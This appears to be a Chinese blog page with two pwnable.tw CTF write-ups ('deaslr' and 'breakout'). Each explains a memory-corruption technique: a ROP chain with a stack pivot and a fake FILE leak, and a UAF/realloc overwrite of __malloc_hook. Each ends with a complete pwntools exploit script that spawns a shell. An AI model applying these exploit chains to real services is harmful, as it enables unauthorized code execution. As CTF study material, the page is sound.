分类 pwnable.tw 下的文章

分析

题目只给了一个gets栈溢出,got开了全保护不能修改。按照题意对付aslr的话,爆破几率太渺茫了。应该要结合call reg以及栈残留指针来构造rop。

思路

  1. _libc_csu_init里面有这么一条gadget:call qword ptr [r12+rbx*8]。这意味着如果能够控制r12为一个libc地址,rbx为某个函数offset/8的话,就可以调用这个函数。

  2. 由于gets在调用时会在栈低地址留下_IO_2_1_stdin的地址,我们可以利用这个地址加上一定偏移去调用__IO_file_write来泄露地址。__IO_file_write函数与write函数的区别在于,第一个参数变成了一个文件结构体。为了成功利用,这个结构体中只需要保证fileno==1flag2==2就能成功调用(非常理想)。

  3. 为了利用栈残留信息,需要把栈迁移到bss这种地址固定并可控的段来操作。在此之前还要先向bss中不会受到调用栈影响的区域提前写好fake_file

  4. 迁移到bss上需要先执行一次gets让bss中残留下libc地址信息。然后再往远处迁移栈,避免利用时破坏残留在栈上的指针。迁移到远处后需要计算好残留指针的地址,往这个地址的上下填充其它值——因为gadget的限制,往往需要一次pop很多寄存器,而需要让残留指针放在r12寄存器里面就得把其它寄存器也构造好。其它寄存器涉及到传参以及分支跳转——注意让rbp=rbx+1防止跳转。

  5. 最终构造完在call reg之前应该保证:

    • RDIfake_file地址
    • RSI为gets的got表地址
    • RDX为输出长度
    • RBX为(__IO_file_write-残留指针)/8 (注意残留指针不一定是 _IO_2_1_stdin,因为gets在写的时候末位会有\x00截断覆盖掉_IO_2_1_stdin低位)
    • R12为残留指针
    • EBPrbx+1
  6. 泄露完地址走一次one_gadget就可以getshell了

EXP

from pwn import *

#p = process("./deaslr", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10402)
elf = ELF("./deaslr")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

# addr
main_addr = 0x400536
gets_plt = elf.symbols[b"gets"]
gets_got = elf.got[b"gets"]
bss_addr = 0x601010
data_addr = 0x601000

# gadget
pop_rbp_ret = 0x4004a0
leave_ret = 0x400554
ret = 0x4003f9
pop_rdi_ret = 0x4005c3
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba
pop_r12_r13_r14_r15_ret = 0x4005bc
pop_rsp_r13_r14_r15_ret = 0x4005bd
call_r12_plus_rbx_mul_8 = 0x4005a9
set_args_and_call = call_r12_plus_rbx_mul_8 - 0x9
mveax0_leave_ret = 0x40054f

# struct
fake_file = b"\x00"*0x70+p64(1)+p64(2) # fileno flag
fake_file = fake_file.ljust(0xe0, b"\x00")

def exp():
    #gdb.attach(p, "b *0x40054f\nc\n")

    # write fake_file to bss
    fake_file_addr = bss_addr+0x100
    payload1 = b"a"*0x18 + p64(pop_rdi_ret) + p64(fake_file_addr) + p64(gets_plt) + p64(main_addr)
    p.sendline(payload1)

    p.sendline(fake_file)

    # Migrate stack to bss (to control stack_val)
    target_stack = bss_addr+0x200
    payload2 = b"a"*0x10 + p64(target_stack) + p64(pop_rdi_ret) + p64(target_stack) + p64(gets_plt)
    payload2 += p64(leave_ret)
    p.sendline(payload2)

    # write target_stack
    target_stack_2 = bss_addr + 0x400
    payload3 = p64(0xdeadbeef) #new rbp
    payload3 += p64(pop_rdi_ret) # get(target_stack_2)
    payload3 += p64(target_stack_2) #arg
    payload3 += p64(gets_plt)

    payload3 += p64(pop_rsp_r13_r14_r15_ret) # move to stack_2
    payload3 += p64(target_stack_2)
    p.sendline(payload3)

    # set target_stack_2
    payload4 = p64(0)*3
    payload4 += p64(pop_rdi_ret)
    payload4 += p64(target_stack-0x30-0x30)
    payload4 += p64(gets_plt) # set stack low
    payload4 += p64(pop_rdi_ret)
    payload4 += p64(target_stack-0x30+0x8)
    payload4 += p64(gets_plt) # set stack high
    payload4 += p64(pop_rsp_r13_r14_r15_ret)
    payload4 += p64(target_stack-0x30-0x30)
    p.sendline(payload4)

    ## low
    low = p64(0)*3 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
    low += p64(0xfffffffffffffdeb) #rbx
    low += p64(0xfffffffffffffdeb+1) #rbp
    p.sendline(low)
    ## high
    high = p64(0x100) #r13 -> rdx
    high += p64(gets_got) #r14 -> rsi
    high += p64(fake_file_addr) #r15 -> edi
    high += p64(set_args_and_call)
    high += b"a"*0x38
    high += p64(main_addr)
    p.sendline(high)

    # get leak addr
    puts_addr = u64(p.recv(8))
    libc_base = puts_addr - libc.symbols[b"gets"]
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    one = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
    one_gadget = libc_base + one[0]
    print("puts_addr:", hex(puts_addr))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))
    print("one_gadget:", hex(one_gadget))

    ## get shell
    #payload5 = b"a"*0x18 + p64(pop_rdi_ret) + p64(binsh) + p64(ret)*8 + p64(system) + p64(main_addr)
    payload5 = b"a"*0x18 + p64(one_gadget) # set eax=0

    p.sendline(payload5)

    p.interactive()

if __name__ == "__main__":
    exp()

一些怨言

题目本身非常容易,利用UAF构造出一条通向malloc_hookfastbin

然后利用好realloc会copy原有内容到新堆块的特性,提前布置好payload到堆上,绕过security_readmalloc_hook中写入one_gadget

建议这种受到堆偏移影响很大的题最好给出Dockfile,不然纯浪费时间,特傻逼!!

EXP:

from pwn import *

p = remote("chall.pwnable.tw", 10400)
#p = process("./breakout", env={"LD_PRELOAD":"./libc_64.so.6"})
elf = ELF("./breakout")
libc = ELF("./libc_64.so.6")

context.arch = "amd64"
context.log_level = "debug"

def list_all():
    p.sendafter(b"> ", b"list\n")

def set_note(cell:int, size:int, content):
    p.sendafter(b"> ", b"note\n")
    p.sendafter(b"Cell: ", str(cell).encode())
    p.sendafter(b"Size: ", str(size).encode())
    p.sendafter(b"Note: ", content)

def punish(cell:int):
    p.sendafter(b"> ", b"punish\n")
    p.sendafter(b"Cell: ", str(cell).encode())  

def exp():
    # leak libc
    set_note(6, 0x80, b"aaaa")
    set_note(7, 0x20, b"bbbb")
    set_note(6, 0x90, b"cccc")
    set_note(8, 0x80, b"a"*8)
    list_all()
    p.recvuntil(b"Life imprisonment, murder")
    p.recvuntil(b"aaaaaaaa")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x108 + 0xa0 - libc.symbols[b"__malloc_hook"]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    fake_chunk = malloc_hook - 0x23
    one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    print("[*] malloc_hook:", hex(malloc_hook))
    print("[*] fake_chunk:", hex(fake_chunk))

    #gdb.attach(p)

    # leak heap
    remote_offset = 0x410 #remote-0x410  local-0x0
    punish(1)
    set_note(9, 0x48, p64(malloc_hook+0x68)*2)
    list_all()
    p.recvuntil(b"multiple homicides")
    p.recvuntil(b"Prisoner: ")
    heap_leak = u64((b""+p.recv(6)).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x2169a0 + remote_offset
    print("[*] heap_leak:", hex(heap_leak))
    print("[*] heap_base:", hex(heap_base))

    # realloc attach
    ## link to fake_chunk
    set_note(2, 0x68, b"aaaa") #target_chunk
    set_note(3, 0x20, b"split")
    set_note(2, 0x78, b"bbbb")
    target_chunk = heap_base + 0x2169a0 - remote_offset
    print("[*] target_chunk:", hex(target_chunk))
    payload = p64(heap_base)*3+p64(0x000000010000002d)+p64(heap_base)+p64(0x10)+p64(target_chunk+0x10)
    set_note(9, 0x48, payload)
    set_note(1, 0x10, p64(fake_chunk))

    ## get_fakechunk
    set_note(3, 0x68, b"cccc")
    one_gadget = libc_base + one_list[3]
    set_note(4, 0x30, b"a"*(0x13-0x8)+p64(one_gadget)+p64(libc_base+0x83b1b))
    set_note(5, 0x40, b"split")
    ## write malloc_hook
    set_note(4, 0x68, b"")
    print("[*] malloc_hook:", hex(malloc_hook))
    print("[*] one_gadget:", hex(one_gadget))

    # get shell
    p.sendafter(b"> ", b"note\n")
    p.sendafter(b"Cell: ", b"0")
    p.sendafter(b"Size: ", str(0x80).encode())

    p.interactive()

if __name__ == "__main__":
    exp()